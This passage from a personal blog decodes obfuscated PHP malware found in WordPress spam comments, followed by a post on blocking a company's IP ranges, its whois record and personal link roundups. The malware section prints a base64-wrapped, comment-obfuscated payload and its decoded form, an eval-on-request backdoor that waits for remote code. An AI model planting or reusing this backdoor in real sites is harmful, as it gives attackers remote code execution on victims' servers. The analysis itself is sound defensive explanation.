eval(base64_decode(\\'Lyp3Y2A7cCovaWYvKnchblsqLygvKl5zWyFUcnBRKi9pc3NldC8qUEg0OXxAKi8oLyp4YGpWKU4qLyRfUkVRVUVTVC8qciB4Ki9bLyooflFxKi8nYycvKjE/QGV0WyovLi8\\'.\\'qPSwpKi8neicvKnVUQTkzKi8uLypDe0c6QDRcKi8nbCcvKjh0IG8qLy4vKm15TT08RGAqLyd6Jy8qeGdnMXY2MSovLi8qVnBJZzQqLyd5Jy8qZXxqeUEqLy4vKix2KCovJ2\\'.\\'wnLypGLVFvTDQqL10vKmJha00pKi8vKlw7c24qLykvKk53S0knXyovLypPX2sqLykvKkhAYUs0VCovZXZhbC8qMk58MjA+Ki8oLypVc0htWV1lWiovc3RyaXBzbGFzaGVzL\\'.\\'yo8SGczKi8oLypVQUthZiovJF9SRVFVRVNULypWLktUIHsqL1svKkstLmMqLydjJy8qSG9oKi8uLypYTjtHKi8neicvKjsmMygyMWQmXSovLi8qO1BPdSovJ2wnLypZWVAz\\'.\\'enUqLy4vKlVsaVUtKi8nenlsJy8qRlRZXDQqL10vKk4/UmI+K2YqLy8qSytLQyovKS8qbEBqKi8vKmJYPCovKS8qOlo2VUUoSkI4Ki8vKkJXZztASyovOy8qRTsrdidJKi8=\\'));
Feel like we're going in circles? Yup, that's another base64 encoded string. So let's take out the quotes and the concatenations to see what that is:
Lyp3Y2A7cCovaWYvKnchblsqLygvKl5zWyFUcnBRKi9pc3NldC8qUEg0OXxAKi8oLyp4YGpWKU4qLyRfUkVRVUVTVC8qciB4Ki9bLyooflFxKi8nYycvKjE/QGV0WyovLi8qPSwpKi8neicvKnVUQTkzKi8uLypDe0c6QDRcKi8nbCcvKjh0IG8qLy4vKm15TT08RGAqLyd6Jy8qeGdnMXY2MSovLi8qVnBJZzQqLyd5Jy8qZXxqeUEqLy4vKix2KCovJ2wnLypGLVFvTDQqL10vKmJha00pKi8vKlw7c24qLykvKk53S0knXyovLypPX2sqLykvKkhAYUs0VCovZXZhbC8qMk58MjA+Ki8oLypVc0htWV1lWiovc3RyaXBzbGFzaGVzLyo8SGczKi8oLypVQUthZiovJF9SRVFVRVNULypWLktUIHsqL1svKkstLmMqLydjJy8qSG9oKi8uLypYTjtHKi8neicvKjsmMygyMWQmXSovLi8qO1BPdSovJ2wnLypZWVAzenUqLy4vKlVsaVUtKi8nenlsJy8qRlRZXDQqL10vKk4/UmI+K2YqLy8qSytLQyovKS8qbEBqKi8vKmJYPCovKS8qOlo2VUUoSkI4Ki8vKkJXZztASyovOy8qRTsrdidJKi8=
You might think we're getting close now, but here's what you get out of decoding that:
>>> base64.b64decode(badstring1a)
"/*wc`;p*/if/*w!n[*/(/*^s[!TrpQ*/isset/*PH49|@*/(/*x`jV)N*/$_REQUEST/*r x*/[/*(~Qq*/'c'/*1?@et[*/./*=,)*/'z'/*uTA93*/./*C{G:@4\\*/'l'/*8t o*/./*myM=<D`*/'z'/*xgg1v61*/./*VpIg4*/'y'/*e|jyA*/./*,v(*/'l'/*F-QoL4*/]/*bakM)*//*\\;sn*/)/*NwKI'_*//*O_k*/)/*H@aK4T*/eval/*2N|20>*/(/*UsHmY]eZ*/stripslashes/*<Hg3*/(/*UAKaf*/$_REQUEST/*V.KT {*/[/*K-.c*/'c'/*Hoh*/./*XN;G*/'z'/*;&3(21d&]*/./*;POu*/'l'/*YYP3zu*/./*UliU-*/'zyl'/*FTY\\4*/]/*N?Rb>+f*//*K+KC*/)/*l@j*//*bX<*/)/*:Z6UE(JB8*//*BWg;@K*/;/*E;+v'I*/"
Yup, definitely going in circles. But at least we know what to do: get rid of the comments again.
Incidentally, I'm just using a simple regular expression to do this: s/\/\*[^*]*\*\///g. That's not robust against all possible nestings or whatnot, but it's good enough for simple analysis. I actually execute it in vim as :%s/\/\*[^*]*\*\///gc and then check each piece as I'm removing it.
Here's what it looks like without the comments:
if(isset($_REQUEST['c'.'z'.'l'.'z'.'y'.'l']))eval(stripslashes($_REQUEST['c'.'z'.'l'.'zyl']));
So let's stick together those concatenated strings again:
if(isset($_REQUEST['czlzyl']))eval(stripslashes($_REQUEST['czlzyl']));
Okay, so now it's added some piece into some sort of wordpress file that is basically just waiting for some outside entity to provide code which will then be executed. That's actually pretty interesting: it's not fully executing the malicious payload now; it's waiting for an outside request. Is this to foil scanners that are wise to the type of things spammers add to blogs, or is this in preparation for a big attack that could be launched all at once once the machines are prepared?
It's going to go to be a request that starts like this http://EXAMPLE.COM/wp-content/cache/ifooag.php?czlzyl=
Unfortunately, I don't have access to the logs for the particular site I saw this on, so my analysis stops here and I can't tell you exactly what it was going to try to execute, but I think it's pretty safe to say that it wouldn't have been good. I can tell you that there is no such file on the server in question and, indeed, the code doesn't seem to have been executed since it got caught in the spam queue and discarded by me.
But if you've ever had a site compromised and wondered how it might have been done, now you know a whole lot more about the way it could have happened. All I can really suggest is that spam blocking is important (these comments were caught by akismet) and that if you can turn off javascript while you're moderating comments, that might be the safest possible thing to do even though it makes using wordpress a little more kludgy and annoying. Thankfully it doesn't render it unusable!
Meanwhile, want to try your own hand at analyzing code? I only went through the full decoding for the first of the two strings I gave at the top of this post, but I imagine the second one is very similar to the first, so I leave it as an exercise to the reader. Happy hacking!
Remove 80% of your blog comment spam by blocking IPTelligent!
I maintain a couple of blogs outside of this one, and the most popular one I'm involved with gets a lot of spam. There seemed to be a particular uptick about a month back, and I went to look into it.
What I discovered is that quite a lot of our spam (around 80%) was coming from one company called IPTelligent LLC. There's no easy way for me to tell if they are a legit company who simply have the worst IT staff in the history of IT staffs and all of their machines are compromised, or if they are, in fact, evil jerks who are repeatedly attempting to pollute the internet with really terrible spam. Given a short websearch, it seems pretty likely that IPTelligent is intentionally evil. I suppose one could argue that the level of incompetence displayed by someone who not only runs that many compromised machines but also serves up malware consistently is a form of evil even if it wasn't intentional. Whatever.
Either way, they are responsible for a rather large percentage of the spam we were receiving, and not responsible for any legit visits that we could see.
Since this particular blog uses Wordpress, solving the problem was pretty simple. Wordpress has built in lists for blocking comments, but they simply send to the moderation queue, as does popular plugin Akismet. Since we were seeing hundreds of messages per day from IPTelligent, I needed something that banned them more completely so our moderators wouldn't even see the messages and have to scan through them. Thankfully, there are lots of plugins for this. I settled on one called wp-ban that seems to be working well for my needs.
Once that's installed, the settings are under Settings->Ban. At the top of my list, I now have
# IPTelligent owns these ips, and they seem to be a spam company 96.47.225.* 173.44.37.* 96.47.224.*
Which covers the majority of the IP that were hitting us with spam. A glance at a more specific list of IPTelligent IPs suggests that those lines are good enough right now, although it's possible that they'll buy more IP blocks eventually. (We also have a longer list of other ips that appear to be compromised and were causing problems, but they look more like temporary compromises than intentional, long-term malice so I'm not listing those IPs here).
Of course, it would be better if someone took the company to court for this. I am not a lawyer, but it seems to me that the Computer Fraud and Abuse Act must cover at least some portion of their activities. I mean, the things they charged Aaron Swartz with under that act seem less sketchy than what IPTelligent is doing. But court cases take time and money, and banning them right now is pretty easy, so I figured I'd share the short-term solution in case it's useful to anyone who'd like to get a little less spam right away. (We are indeed getting ~80% less spam since the bans went into place.)
For the record, here's the company info as I get from the whois database right now:
OrgName: IPTelligent LLC OrgId: IPTEL-1 Address: 2115 NW 22nd Street Address: #C110 City: Miami StateProv: FL PostalCode: 33142 Country: US RegDate: 2009-03-31 Updated: 2012-07-16 Ref: http://whois.arin.net/rest/org/IPTEL-1 ReferralServer: rwhois://rwhois.iptelligent.com:4321 OrgNOCHandle: NOC3572-ARIN OrgNOCName: Network Operations Center OrgNOCPhone: +1-888-638-5893 OrgNOCEmail: sysop@iptelligent.com OrgNOCRef: http://whois.arin.net/rest/poc/NOC3572-ARIN
comments
What I discovered is that quite a lot of our spam (around 80%) was coming from one company called IPTelligent LLC. There's no easy way for me to tell if they are a legit company who simply have the worst IT staff in the history of IT staffs and all of their machines are compromised, or if they are, in fact, evil jerks who are repeatedly attempting to pollute the internet with really terrible spam. Given a short websearch, it seems pretty likely that IPTelligent is intentionally evil. I suppose one could argue that the level of incompetence displayed by someone who not only runs that many compromised machines but also serves up malware consistently is a form of evil even if it wasn't intentional. Whatever.
Either way, they are responsible for a rather large percentage of the spam we were receiving, and not responsible for any legit visits that we could see.
Since this particular blog uses Wordpress, solving the problem was pretty simple. Wordpress has built in lists for blocking comments, but they simply send to the moderation queue, as does popular plugin Akismet. Since we were seeing hundreds of messages per day from IPTelligent, I needed something that banned them more completely so our moderators wouldn't even see the messages and have to scan through them. Thankfully, there are lots of plugins for this. I settled on one called wp-ban that seems to be working well for my needs.
Once that's installed, the settings are under Settings->Ban. At the top of my list, I now have
# IPTelligent owns these ips, and they seem to be a spam company 96.47.225.* 173.44.37.* 96.47.224.*
Which covers the majority of the IP that were hitting us with spam. A glance at a more specific list of IPTelligent IPs suggests that those lines are good enough right now, although it's possible that they'll buy more IP blocks eventually. (We also have a longer list of other ips that appear to be compromised and were causing problems, but they look more like temporary compromises than intentional, long-term malice so I'm not listing those IPs here).
Of course, it would be better if someone took the company to court for this. I am not a lawyer, but it seems to me that the Computer Fraud and Abuse Act must cover at least some portion of their activities. I mean, the things they charged Aaron Swartz with under that act seem less sketchy than what IPTelligent is doing. But court cases take time and money, and banning them right now is pretty easy, so I figured I'd share the short-term solution in case it's useful to anyone who'd like to get a little less spam right away. (We are indeed getting ~80% less spam since the bans went into place.)
For the record, here's the company info as I get from the whois database right now:
OrgName: IPTelligent LLC OrgId: IPTEL-1 Address: 2115 NW 22nd Street Address: #C110 City: Miami StateProv: FL PostalCode: 33142 Country: US RegDate: 2009-03-31 Updated: 2012-07-16 Ref: http://whois.arin.net/rest/org/IPTEL-1 ReferralServer: rwhois://rwhois.iptelligent.com:4321 OrgNOCHandle: NOC3572-ARIN OrgNOCName: Network Operations Center OrgNOCPhone: +1-888-638-5893 OrgNOCEmail: sysop@iptelligent.com OrgNOCRef: http://whois.arin.net/rest/poc/NOC3572-ARIN
Updates and links
First some me-related updates:
And then some links that amused me:
comments
- I got to help staff a table at roborave on Saturday. fun! I was too busy to take pictures, so don't ask.
- GSoC ranking continues apace. It's actually less busy for me than it was, since I don't need to interact with the students as much until selection is finished, so I've gone from over a hundred people potentially wanting to talk to me to something closer to 20-30. (project admins + mentors with melange trouble). I expect there'll be some wrangling to make sure the Systers and Mailman don't have any overlapping project ideas, but that can wait a few days.
- To save people from asking me: I'm not expecting to hear about the Portland job for another couple of weeks. This is actually pretty convenient for me since it means I can focus on GSoC during the selection period; horray for good timing!
And then some links that amused me:
- Check out this awesome quote from the guy who introduced Sriracha sauce to the west.. Just scroll down; it's been helpfully put into the picture of Mr. David Tran. But the article itself is pretty interesting too.
- You may have seen the link going around claiming that the Miss Korea contestants all look like clones. I chalked it up to some sort of racist "all Korean people look the same" nonsense, but this analysis of why they all look the same is pretty interesting. Short answer: makeup and photoshop by pageant folk. (Although I bet there's some racism involved in the spread of the link too.)
- "Ship just got real." This is the most compelling smooth-jazz voiceover in a trailer for a turn-based boat game that you're going to see today. At least until you watch the second one, which has even more boat puns. J tells me that the game is actually pretty fun even though he only bought it because the trailer was hilarious.
- Ever wanted to know if your interface is being messed with by a monkey? Android has you covered with isUserAMonkey().
- Also, there exists a set of log.wtf functions in Android. Handy!